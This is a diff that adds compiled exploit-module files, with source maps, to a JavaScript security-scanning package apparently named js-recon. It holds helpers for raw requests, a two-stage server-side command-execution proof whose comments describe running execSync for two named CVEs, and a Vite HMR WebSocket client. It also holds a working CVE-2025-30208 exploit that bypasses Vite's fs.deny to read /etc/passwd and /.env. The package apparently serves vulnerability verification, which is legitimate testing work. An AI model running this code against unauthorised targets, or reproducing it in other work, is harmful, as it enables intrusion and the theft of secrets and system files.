+{"version":3,"file":"outputHelper.js","sourceRoot":"","sources":["../../../src/exploit/utility/outputHelper.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAoB1D,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAC5B,KAAa,EACb,UAAkB,EAClB,SAA2B,EAC3B,MAAc,EACd,OAAuB,EACT,EAAE;;IAAC,OAAA,CAAC;QAClB,KAAK;QACL,UAAU;QACV,SAAS;QACT,MAAM;QACN,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;QACnC,UAAU,EAAE,OAAO,CAAC,UAAU;QAC9B,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,cAAc,EAAE,OAAO,CAAC,cAAc;QACtC,UAAU,EACN,OAAO,CAAA,MAAA,OAAO,CAAC,gBAAgB,0CAAE,UAAU,CAAA,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,gBAAgB,CAAC,UAAU,CAAC,CAAC,CAAC,SAAS;KACjH,CAAC,CAAA;CAAA,CAAC;AAEH,MAAM,CAAC,MAAM,qBAAqB,GAAG,CAAC,UAAkB,EAAE,QAA0B,EAAQ,EAAE;IAC1F,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,kCAAkC,CAAC,CAAC;IACzD,EAAE,CAAC,aAAa,CAAC,UAAU,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IAChE,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,4CAA4C,CAAC,CAAC;AACpE,CAAC,CAAC"}

package/build/exploit/utility/rawRequest.js

@@ -0,0 +1,54 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { withActiveProxyDispatcher } from "../../utility/makeReq.js";
+import { progressError } from "../../utility/progressLog.js";
+/**
+ * Raw fetch helper for the `exploit` module — a sibling to `../../utility/makeReq.ts`, not a
+ * modification of it. `makeRequest` silently discards non-2xx and WAF/CDN-shaped responses and
+ * caches to disk; exploit probes need the raw non-2xx baseline (redirects, 403s), exact bytes with
+ * no caching, and manual redirect handling so a 307 from a bypassed middleware check is observable
+ * as a status code rather than being silently followed.
+ *
+ * Returns null only on network-level failure (DNS, connection refused, timeout) — never throws for
+ * non-2xx responses.
+ */
+export const rawRequest = (url, opts) => __awaiter(void 0, void 0, void 0, function* () {
+    try {
+        return yield withActiveProxyDispatcher((dispatcherOpts) => __awaiter(void 0, void 0, void 0, function* () {
+            var _a;
+            const timeoutController = new AbortController();
+            const timeoutId = setTimeout(() => timeoutController.abort(), opts.timeout);
+            const signals = opts.signal ? [opts.signal, timeoutController.signal] : [timeoutController.signal];
+            try {
+                const response = yield fetch(url, Object.assign(Object.assign({}, dispatcherOpts), { method: (_a = opts.method) !== null && _a !== void 0 ? _a : "GET", headers: opts.headers, body: opts.body, redirect: "manual", signal: AbortSignal.any(signals) }));
+                const bodyBuffer = Buffer.from(yield response.arrayBuffer());
+                const headers = {};
+                response.headers.forEach((value, name) => {
+                    headers[name.toLowerCase()] = value;
+                });
+                return {
+                    status: response.status,
+                    headers,
+                    body: bodyBuffer.toString("utf8"),
+                    bodyBuffer,
+                };
+            }
+            finally {
+                clearTimeout(timeoutId);
+            }
+        }));
+    }
+    catch (err) {
+        progressError(`[!] Raw exploit request failed for ${url}: ${err}`);
+        return null;
+    }
+});
+export default rawRequest;
+//# sourceMappingURL=rawRequest.js.map

package/build/exploit/utility/rawRequest.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"rawRequest.js","sourceRoot":"","sources":["../../../src/exploit/utility/rawRequest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,yBAAyB,EAAgC,MAAM,0BAA0B,CAAC;AACnG,OAAO,EAAE,aAAa,EAAE,MAAM,8BAA8B,CAAC;AAiB7D;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,UAAU,GAAG,CAAO,GAAW,EAAE,IAAuB,EAA+B,EAAE;IAClG,IAAI,CAAC;QACD,OAAO,MAAM,yBAAyB,CAAC,CAAO,cAAuC,EAAE,EAAE;;YACrF,MAAM,iBAAiB,GAAG,IAAI,eAAe,EAAE,CAAC;YAChD,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,EAAE,CAAC,iBAAiB,CAAC,KAAK,EAAE,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;YAC5E,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,iBAAiB,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC,iBAAiB,CAAC,MAAM,CAAC,CAAC;YAEnG,IAAI,CAAC;gBACD,MAAM,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE,gCAC3B,cAAc,KACjB,MAAM,EAAE,MAAA,IAAI,CAAC,MAAM,mCAAI,KAAK,EAC5B,OAAO,EAAE,IAAI,CAAC,OAAO,EACrB,IAAI,EAAE,IAAI,CAAC,IAAI,EACf,QAAQ,EAAE,QAAQ,EAClB,MAAM,EAAE,WAAW,CAAC,GAAG,CAAC,OAAO,CAAC,GACpB,CAAC,CAAC;gBAElB,MAAM,UAAU,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,QAAQ,CAAC,WAAW,EAAE,CAAC,CAAC;gBAC7D,MAAM,OAAO,GAA2B,EAAE,CAAC;gBAC3C,QAAQ,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC,KAAK,EAAE,IAAI,EAAE,EAAE;oBACrC,OAAO,CAAC,IAAI,CAAC,WAAW,EAAE,CAAC,GAAG,KAAK,CAAC;gBACxC,CAAC,CAAC,CAAC;gBAEH,OAAO;oBACH,MAAM,EAAE,QAAQ,CAAC,MAAM;oBACvB,OAAO;oBACP,IAAI,EAAE,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;oBACjC,UAAU;iBACb,CAAC;YACN,CAAC;oBAAS,CAAC;gBACP,YAAY,CAAC,SAAS,CAAC,CAAC;YAC5B,CAAC;QACL,CAAC,CAAA,CAAC,CAAC;IACP,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,aAAa,CAAC,sCAAsC,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QACnE,OAAO,IAAI,CAAC;IAChB,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,UAAU,CAAC"}

package/build/exploit/utility/sandboxRce.js

@@ -0,0 +1,49 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
+/**
+ * Escapes a string for safe interpolation inside a single-quoted JS string literal embedded in a
+ * generated payload (e.g. `'<cmd>'` inside `cp.execSync('<cmd>')`). Backslashes MUST be escaped
+ * first — escaping the quote before the backslash would double-escape any backslash a prior quote
+ * substitution just inserted, and a command containing a literal backslash without this ordering
+ * could otherwise break out of the string literal.
+ */
+export const escapeSingleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
+/** Same as `escapeSingleQuotedLiteral`, for a double-quoted JS string literal. */
+export const escapeDoubleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
+/**
+ * Shared two-stage RCE-proof choreography for CVE-2026-71320 (Nuxt Server Island) and
+ * CVE-2025-55182 (React Flight RCE). Both use the same pattern: a stage-1 request triggers
+ * `import('node:child_process').then(cp => cp.execSync(cmd))` server-side and stashes the result
+ * (e.g. on `globalThis.__pocOut`), and stage 2 is an identically-shaped request that reads it back.
+ * Stage 1's dynamic `import()` resolves asynchronously — its promise may not have settled by the
+ * time stage 1's HTTP response is sent, so stage 2 is retried with a short delay until it returns
+ * a non-null result or the retry budget is exhausted.
+ *
+ * Only the two-stage request/retry orchestration is shared; payload construction (template
+ * injection string, gadget chain, hash computation) stays CVE-specific in each handler.
+ */
+export const runSandboxRceProof = (handlers_1, cmd_1, ...args_1) => __awaiter(void 0, [handlers_1, cmd_1, ...args_1], void 0, function* (handlers, cmd, options = {}) {
+    var _a, _b;
+    const retries = (_a = options.retries) !== null && _a !== void 0 ? _a : 3;
+    const delayMs = (_b = options.delayMs) !== null && _b !== void 0 ? _b : 1500;
+    yield handlers.sendStage1(cmd);
+    for (let attempt = 0; attempt < retries; attempt++) {
+        if (attempt > 0)
+            yield sleep(delayMs);
+        const output = yield handlers.sendStage2();
+        if (output !== null && output.length > 0) {
+            return { output, succeeded: true };
+        }
+    }
+    return { output: null, succeeded: false };
+});
+export default runSandboxRceProof;
+//# sourceMappingURL=sandboxRce.js.map

package/build/exploit/utility/sandboxRce.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"sandboxRce.js","sourceRoot":"","sources":["../../../src/exploit/utility/sandboxRce.ts"],"names":[],"mappings":";;;;;;;;;AAiBA,MAAM,KAAK,GAAG,CAAC,EAAU,EAAiB,EAAE,CAAC,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC,CAAC;AAE/F;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH,kFAAkF;AAClF,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,+BAIL,EAAE,sEAH3B,QAA4B,EAC5B,GAAW,EACX,UAA6B,EAAE;;IAE/B,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,IAAI,CAAC;IAExC,MAAM,QAAQ,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;IAE/B,KAAK,IAAI,OAAO,GAAG,CAAC,EAAE,OAAO,GAAG,OAAO,EAAE,OAAO,EAAE,EAAE,CAAC;QACjD,IAAI,OAAO,GAAG,CAAC;YAAE,MAAM,KAAK,CAAC,OAAO,CAAC,CAAC;QACtC,MAAM,MAAM,GAAG,MAAM,QAAQ,CAAC,UAAU,EAAE,CAAC;QAC3C,IAAI,MAAM,KAAK,IAAI,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACvC,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC;QACvC,CAAC;IACL,CAAC;IAED,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC;AAC9C,CAAC,CAAA,CAAC;AAEF,eAAe,kBAAkB,CAAC"}

package/build/exploit/utility/toEngineOutput.js

@@ -0,0 +1,28 @@
+const RULE_TECH_MAP = {
+    next: "next",
+    vite: "all",
+    nuxt: "all",
+    angular: "angular",
+    react: "react",
+};
+/**
+ * Maps an exploit outcome to the `analyze`/`report` EngineOutput shape so `report --exploit-json`
+ * can feed exploit findings into the existing SQLite/HTML pipeline with zero report-side schema
+ * changes. `Rule.severity` has no "critical" tier — RCE-class CVEs map to "high", the type's
+ * ceiling, rather than inventing a new severity value.
+ */
+export const toEngineOutput = (cve, target, outcome) => ({
+    ruleId: cve.id,
+    ruleName: cve.commonName,
+    ruleType: "exploit",
+    ruleDescription: cve.description,
+    ruleAuthor: "js-recon",
+    ruleTech: [RULE_TECH_MAP[cve.framework]],
+    severity: "high",
+    message: `${outcome.evidence}${outcome.discoveredUrls.length > 0
+        ? ` | Discovered: ${outcome.discoveredUrls.slice(0, 5).join(", ")}${outcome.discoveredUrls.length > 5 ? ", ..." : ""}`
+        : ""}`,
+    findingLocation: target,
+});
+export default toEngineOutput;
+//# sourceMappingURL=toEngineOutput.js.map

package/build/exploit/utility/toEngineOutput.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"toEngineOutput.js","sourceRoot":"","sources":["../../../src/exploit/utility/toEngineOutput.ts"],"names":[],"mappings":"AAIA,MAAM,aAAa,GAAuE;IACtF,IAAI,EAAE,MAAM;IACZ,IAAI,EAAE,KAAK;IACX,IAAI,EAAE,KAAK;IACX,OAAO,EAAE,SAAS;IAClB,KAAK,EAAE,OAAO;CACjB,CAAC;AAEF;;;;;GAKG;AACH,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAgB,EAAE,MAAc,EAAE,OAAuB,EAAgB,EAAE,CAAC,CAAC;IACxG,MAAM,EAAE,GAAG,CAAC,EAAE;IACd,QAAQ,EAAE,GAAG,CAAC,UAAU;IACxB,QAAQ,EAAE,SAAS;IACnB,eAAe,EAAE,GAAG,CAAC,WAAW;IAChC,UAAU,EAAE,UAAU;IACtB,QAAQ,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;IACxC,QAAQ,EAAE,MAAM;IAChB,OAAO,EAAE,GAAG,OAAO,CAAC,QAAQ,GACxB,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC;QAC7B,CAAC,CAAC,kBAAkB,OAAO,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE;QACtH,CAAC,CAAC,EACV,EAAE;IACF,eAAe,EAAE,MAAM;CAC1B,CAAC,CAAC;AAEH,eAAe,cAAc,CAAC"}

package/build/exploit/utility/wsClient.js

@@ -0,0 +1,78 @@
+import WebSocket from "ws";
+import * as globals from "../../utility/globals.js";
+/**
+ * Pure frame-matcher: given the id we sent and a raw WS frame payload (already JSON-parsed),
+ * decides whether this frame is the response to our request and extracts its result. Kept
+ * separate from the socket I/O in `sendRpcAndAwait` so it's unit-testable without a real socket.
+ */
+export const matchRpcResponse = (sentId, frame) => {
+    if (typeof frame !== "object" || frame === null)
+        return { matched: false };
+    const anyFrame = frame;
+    const data = anyFrame.data;
+    if (!data || data.id !== sentId)
+        return { matched: false };
+    if (anyFrame.type === "error" || data.error)
+        return { matched: true, result: undefined };
+    return { matched: true, result: "result" in data ? data.result : data };
+};
+/**
+ * Connects to a Vite dev server's HMR WebSocket endpoint using the `vite-hmr` subprotocol.
+ *
+ * Note: does not currently route through js-recon's configured outbound proxy (`ws` needs a
+ * classic Node http(s).Agent, not undici's Dispatcher used elsewhere in this codebase) — this is a
+ * known, documented gap for proxied exploit runs against CVE-2026-39363, not a silent failure.
+ */
+export const connectViteHmr = (baseUrl, timeout) => {
+    const wsUrl = baseUrl.replace(/^http/, "ws").replace(/\/$/, "");
+    const insecure = globals.getInsecure();
+    return new Promise((resolve, reject) => {
+        const ws = new WebSocket(wsUrl, "vite-hmr", {
+            rejectUnauthorized: !insecure,
+            handshakeTimeout: timeout,
+        });
+        const timer = setTimeout(() => {
+            ws.terminate();
+            reject(new Error("WebSocket connect timeout"));
+        }, timeout);
+        ws.once("open", () => {
+            clearTimeout(timer);
+            resolve(ws);
+        });
+        ws.once("error", (err) => {
+            clearTimeout(timer);
+            reject(err);
+        });
+    });
+};
+/** Sends a `vite:invoke` RPC frame and resolves with its matching response, or rejects on timeout. */
+export const sendRpcAndAwait = (ws, message, timeoutMs) => {
+    return new Promise((resolve, reject) => {
+        const onMessage = (raw) => {
+            let parsed;
+            try {
+                parsed = JSON.parse(raw.toString());
+            }
+            catch (_a) {
+                return;
+            }
+            const { matched, result } = matchRpcResponse(message.data.id, parsed);
+            if (matched) {
+                cleanup();
+                resolve(result);
+            }
+        };
+        const timer = setTimeout(() => {
+            cleanup();
+            reject(new Error("RPC response timeout"));
+        }, timeoutMs);
+        const cleanup = () => {
+            clearTimeout(timer);
+            ws.off("message", onMessage);
+        };
+        ws.on("message", onMessage);
+        ws.send(JSON.stringify(message));
+    });
+};
+export default connectViteHmr;
+//# sourceMappingURL=wsClient.js.map

package/build/exploit/utility/wsClient.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"wsClient.js","sourceRoot":"","sources":["../../../src/exploit/utility/wsClient.ts"],"names":[],"mappings":"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"}

package/build/exploit/vite/cve-2025-30208.js

@@ -0,0 +1,44 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** Absolute paths to probe. Any one confirming the bypass is sufficient proof. */
+const CANDIDATE_FILES = ["/etc/passwd", "/.env"];
+/** Content markers that only a real file read would produce. */
+const FILE_MARKERS = {
+    "/etc/passwd": "root:",
+    "/.env": "=",
+};
+export const buildFsPath = (absPath) => `/@fs${absPath}?import&raw`;
+/** The exact CVE-2025-30208 bypass: a trailing double '?' defeats the fs.deny query-string regex. */
+export const buildDoubleQuestionMarkPath = (absPath) => `/@fs${absPath}?import&raw??`;
+const cve202530208 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    for (const absPath of CANDIDATE_FILES) {
+        const baselineUrl = new URL(buildFsPath(absPath), ctx.baseUrl).toString();
+        const payloadUrl = new URL(buildDoubleQuestionMarkPath(absPath), ctx.baseUrl).toString();
+        const baseline = yield rawRequest(baselineUrl, { timeout: ctx.timeout, signal: ctx.signal });
+        const payload = yield rawRequest(payloadUrl, { timeout: ctx.timeout, signal: ctx.signal });
+        if (!baseline || !payload)
+            continue;
+        const marker = FILE_MARKERS[absPath];
+        const diff = diffResponses(baseline, payload, [marker]);
+        if (diff.becameSuccessful) {
+            return {
+                vulnerable: true,
+                evidence: `fs.deny bypassed for ${absPath} via trailing double '?' (baseline status ${baseline.status} -> payload status ${payload.status}).`,
+                discoveredUrls: [payloadUrl],
+                rawFindingExtras: { file: absPath },
+            };
+        }
+    }
+    return { vulnerable: false, evidence: "No fs.deny bypass observed for candidate files.", discoveredUrls: [] };
+});
+export default cve202530208;
+//# sourceMappingURL=cve-2025-30208.js.map

package/build/exploit/vite/cve-2025-30208.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2025-30208.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2025-30208.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,kFAAkF;AAClF,MAAM,eAAe,GAAG,CAAC,aAAa,EAAE,OAAO,CAAU,CAAC;AAE1D,gEAAgE;AAChE,MAAM,YAAY,GAA2B;IACzC,aAAa,EAAE,OAAO;IACtB,OAAO,EAAE,GAAG;CACf,CAAC;AAEF,MAAM,CAAC,MAAM,WAAW,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,aAAa,CAAC;AAEpF,qGAAqG;AACrG,MAAM,CAAC,MAAM,2BAA2B,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,eAAe,CAAC;AAEtG,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,WAAW,GAAG,IAAI,GAAG,CAAC,WAAW,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC1E,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,2BAA2B,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAEzF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,WAAW,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC7F,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC3F,IAAI,CAAC,QAAQ,IAAI,CAAC,OAAO;YAAE,SAAS;QAEpC,MAAM,MAAM,GAAG,YAAY,CAAC,OAAO,CAAC,CAAC;QACrC,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;QACxD,IAAI,IAAI,CAAC,gBAAgB,EAAE,CAAC;YACxB,OAAO;gBACH,UAAU,EAAE,IAAI;gBAChB,QAAQ,EAAE,wBAAwB,OAAO,6CAA6C,QAAQ,CAAC,MAAM,sBAAsB,OAAO,CAAC,MAAM,IAAI;gBAC7I,cAAc,EAAE,CAAC,UAAU,CAAC;gBAC5B,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;aACtC,CAAC;QACN,CAAC;IACL,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iDAAiD,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAClH,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}